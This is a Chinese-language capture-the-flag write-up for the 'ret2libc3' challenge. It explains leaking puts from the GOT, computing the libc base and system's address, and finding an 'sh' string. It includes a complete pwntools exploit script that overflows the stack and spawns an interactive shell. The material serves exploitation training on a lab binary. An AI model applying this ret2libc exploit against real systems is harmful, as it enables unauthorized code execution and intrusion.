给了一个ret2libc3 和 libc文件
放入ida,发现并没有system相关函数,即不能用system@plt进行泄露,但由puts等函数先分析栈溢出漏洞:
很明显strcpy函数栈地址,并且分析可知该题有个交互过程,即输入十进制地址会返回该地址存放的内容
got表存放函数的真实地址,当函数没调用时,got存放的是plt地址
先运行程序,看下got表中存放内容,打在Print_message处,
0xf7开头的是libc内的地址,表示该函数在程序中被调用过,0x80开头的是ELF内的地址,没调用过,不是真实地址
但要注意,该处填写的比如0xf7e0ff10只是本次的地址,每次libc装载时地址都会变,got表内地址也会变,但libc会整个一起装载,所以函数间的偏移量时不变的,因此可以利用偏移量从puts找到system,这题又给了libc,则可以利用libc里的puts和system的偏移量是的程序能运行到libc
对这题来说,puts的真实地址存放在0x804a01c,这是不变的,并且这题交互内容也是输入一个地址(十进制),返回地址内容
这题的与之前ret2libc2不同的就是程序本身缺少system函数,本题利用libc动态连接时,虽然地址会变,但由于是整体连接,函数的偏移量并不会发生改变,因此通过计算libc的puts和system的偏移和程序本身的puts的got地址就可以算出system的地址
知道system函数地址后,则只需弄到/bin/sh就行,该题比较特别,由于一般sh就是/bin/sh的快捷方式,sh也行
可以利用这些sh地址
构造exp.py
from pwn import *
# io = process(["./ret2libc3"],env={"LD_PRELOAD":"./libc-2.23.so"})
io = process("./ret2libc3")
elf = ELF("./ret2libc3")
libc = ELF("/lib/i386-linux-gnu/libc.so.6")
io.sendlineafter(b":",str(elf.got["puts"]))
io.recvuntil(b":")
libcBase = int(io.recvuntil(b"\n",drop = True),16) - libc.symbols["puts"]
success("libcBase -> {:#x}".format(libcBase))
payload = flat(cyclic(60),libcBase + libc.symbols["system"],0xdeadbeef,next(elf.search(b"sh\x00")))
io.sendlineafter(b":",payload)
io.interactive()
网上说可以用io = process([“./ret2libc3”],env={“LD_PRELOAD”:“./libc-2.23.so”})连接题目给的libc-2.23.so,但这段代码总报错,所以我使用自己本机的lib,可以使用ldd ret2libc3查看本机lib进行攻破